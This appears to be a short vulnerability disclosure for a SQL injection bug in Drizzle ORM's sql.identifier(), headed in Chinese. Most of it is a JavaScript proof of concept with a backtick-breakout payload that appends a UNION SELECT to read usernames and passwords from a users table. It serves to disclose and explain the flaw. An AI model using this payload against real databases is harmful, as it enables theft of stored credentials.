CVE-2026-39356 Drizzle ORM SQL注入漏洞

// Vulnerable Code Example using Drizzle ORM import { sql } from 'drizzle-orm'; // Simulating attacker-controlled input containing an embedded delimiter // The backtick allows breaking out of the identifier context const maliciousInput = "test_table` UNION SELECT username, password FROM users -- "; // The vulnerable API sql.identifier() processes the input // Due to the bug, the backtick is not escaped, leading to SQL injection const query = sql`SELECT * FROM ${sql.identifier(maliciousInput)}`; console.log(query.toSQL()); // Resulting SQL might look like: // SELECT * FROM `test_table` UNION SELECT username, password FROM users -- ` // Execution would leak sensitive data from the 'users' table // await db.execute(query);